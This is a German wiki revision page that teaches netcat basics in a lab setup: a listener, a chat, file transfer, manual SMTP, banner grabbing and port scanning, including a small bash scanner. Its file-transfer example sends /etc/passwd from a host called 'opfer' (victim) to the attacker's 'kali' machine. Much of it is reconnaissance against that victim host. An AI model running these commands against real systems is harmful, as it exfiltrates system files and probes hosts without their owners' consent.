Netcat Basics: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 1: | Zeile 1: | ||
| − | = | + | = netcat (nc) – Basics = |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| + | '''netcat''' ist das „Schweizer Taschenmesser" für TCP/UDP: lauschen, verbinden, Daten schieben, Ports prüfen. | ||
| − | + | ; Hinweis zur Variante | |
| − | + | : Beispiele hier mit ''nc.traditional'' (<code>-l -p</code>). Bei OpenBSD-''nc'' (Kali-Default) lautet der Listener nur <code>nc -l 6789</code> – dort ist <code>-p</code> der Quellport. <code>-z</code>/<code>-w</code> gibt es bei OpenBSD-nc, nicht bei ''ncat''. | |
| − | ; | ||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | = | + | == Listener prüfen == |
| − | |||
| − | |||
| − | |||
| − | |||
| − | = | + | <pre> |
| − | + | # auf kali: lauschen | |
| − | + | nc -l -p 6789 | |
| − | + | ||
| + | # auf kali: läuft der Listener? | ||
| + | ss -lntp | grep 6789 | ||
| + | </pre> | ||
| + | |||
| + | == Chat == | ||
| + | |||
| + | <pre> | ||
| + | # lokal (zwei Terminals auf kali) | ||
| + | nc -l -p 6789 # Server | ||
| + | nc kali 6789 # Client | ||
| + | |||
| + | # übers Netz | ||
| + | nc -l -p 6789 # auf kali | ||
| + | nc kali 6789 # auf opfer | ||
| + | </pre> | ||
| + | == Filetransfer == | ||
| + | |||
| + | <pre> | ||
| + | nc -l -p 6789 > /tmp/passwd # auf kali (Empfänger) | ||
| + | cat /etc/passwd | nc kali 6789 # auf opfer (Sender) | ||
| + | </pre> | ||
| + | |||
| + | == Mailserver verbinden == | ||
| + | |||
| + | SMTP von Hand sprechen: | ||
| + | |||
| + | <pre> | ||
| + | nc mail.tcpdump.de 25 | ||
| + | </pre> | ||
| + | |||
| + | 220 mail.tcpdump.de ESMTP Postfix (Ubuntu) | ||
'''ehlo kit.de''' | '''ehlo kit.de''' | ||
| − | 250 | + | 250 ... |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
'''mail from: kit13@kit.de''' | '''mail from: kit13@kit.de''' | ||
250 2.1.0 Ok | 250 2.1.0 Ok | ||
| Zeile 50: | Zeile 53: | ||
354 End data with <CR><LF>.<CR><LF> | 354 End data with <CR><LF>.<CR><LF> | ||
'''Subject: testmail vom kit''' | '''Subject: testmail vom kit''' | ||
| − | + | (Leerzeile) | |
| − | '''Hallo Thomas Gruss vom Kit''' | + | '''Hallo Thomas, Gruss vom Kit''' |
| − | |||
'''.''' | '''.''' | ||
| − | 250 2.0.0 Ok: queued | + | 250 2.0.0 Ok: queued |
'''quit''' | '''quit''' | ||
221 2.0.0 Bye | 221 2.0.0 Bye | ||
| − | = | + | |
| − | + | == Bannergrabbing == | |
| − | + | ||
| − | + | <pre> | |
| − | + | # Webserver (HTTP/1.0, kein Host-Header nötig) | |
| − | + | printf 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer 80 | grep -i '^Server' | |
| − | + | # -> Server: Apache/2.4.29 (Ubuntu) | |
| − | + | ||
| + | # SSH (Banner kommt sofort) | ||
| + | nc opfer 22 | head -1 | ||
| + | # -> SSH-2.0-OpenSSH_7.6p1 Ubuntu-4 | ||
| + | </pre> | ||
| + | |||
| + | == Portscan == | ||
| + | |||
<pre> | <pre> | ||
| − | + | # einzelner Port: Exit-Code 0 = offen, 1 = zu | |
| − | + | nc -w 1 -z opfer 9999 ; echo $? | |
| + | |||
| + | # Bereich, verbose | ||
| + | nc -z -v opfer 22-80 | ||
</pre> | </pre> | ||
| − | + | opfer [10.0.10.104] 80 (http) open | |
| − | + | opfer [10.0.10.104] 25 (smtp) open | |
| − | + | opfer [10.0.10.104] 22 (ssh) open | |
| − | 0 | + | |
| − | + | == Eigener Scanner == | |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
<pre> | <pre> | ||
#!/bin/bash | #!/bin/bash | ||
| Zeile 86: | Zeile 93: | ||
START=$2 | START=$2 | ||
STOP=$3 | STOP=$3 | ||
| − | for ((i= | + | for ((i=START; i<=STOP; i++)); do |
| − | + | if nc -w 1 -z "$HOST" "$i" 2>/dev/null; then | |
| − | + | echo "$HOST $i open" | |
| − | + | fi | |
| − | + | done | |
| − | fi | + | </pre> |
| − | + | ||
| + | <pre> | ||
| + | ./scan opfer 20 100 | ||
</pre> | </pre> | ||
| + | == Siehe auch == | ||
| − | + | * [[Ss]] | |
| − | * | + | * [[Ip addr]] |
| − | |||
| − | |||
| − | |||
| − | |||
Version vom 15. Juni 2026, 15:50 Uhr
netcat (nc) – Basics
netcat ist das „Schweizer Taschenmesser" für TCP/UDP: lauschen, verbinden, Daten schieben, Ports prüfen.
- Hinweis zur Variante
- Beispiele hier mit nc.traditional (
-l -p). Bei OpenBSD-nc (Kali-Default) lautet der Listener nurnc -l 6789– dort ist-pder Quellport.-z/-wgibt es bei OpenBSD-nc, nicht bei ncat.
Listener prüfen
# auf kali: lauschen nc -l -p 6789 # auf kali: läuft der Listener? ss -lntp | grep 6789
Chat
# lokal (zwei Terminals auf kali) nc -l -p 6789 # Server nc kali 6789 # Client # übers Netz nc -l -p 6789 # auf kali nc kali 6789 # auf opfer
Filetransfer
nc -l -p 6789 > /tmp/passwd # auf kali (Empfänger) cat /etc/passwd | nc kali 6789 # auf opfer (Sender)
Mailserver verbinden
SMTP von Hand sprechen:
nc mail.tcpdump.de 25
220 mail.tcpdump.de ESMTP Postfix (Ubuntu) ehlo kit.de 250 ... mail from: kit13@kit.de 250 2.1.0 Ok rcpt to: thomas@xinux.de 250 2.1.5 Ok data 354 End data with <CR><LF>.<CR><LF> Subject: testmail vom kit (Leerzeile) Hallo Thomas, Gruss vom Kit . 250 2.0.0 Ok: queued quit 221 2.0.0 Bye
Bannergrabbing
# Webserver (HTTP/1.0, kein Host-Header nötig) printf 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer 80 | grep -i '^Server' # -> Server: Apache/2.4.29 (Ubuntu) # SSH (Banner kommt sofort) nc opfer 22 | head -1 # -> SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
Portscan
# einzelner Port: Exit-Code 0 = offen, 1 = zu nc -w 1 -z opfer 9999 ; echo $? # Bereich, verbose nc -z -v opfer 22-80
opfer [10.0.10.104] 80 (http) open opfer [10.0.10.104] 25 (smtp) open opfer [10.0.10.104] 22 (ssh) open
Eigener Scanner
#!/bin/bash
HOST=$1
START=$2
STOP=$3
for ((i=START; i<=STOP; i++)); do
if nc -w 1 -z "$HOST" "$i" 2>/dev/null; then
echo "$HOST $i open"
fi
done
./scan opfer 20 100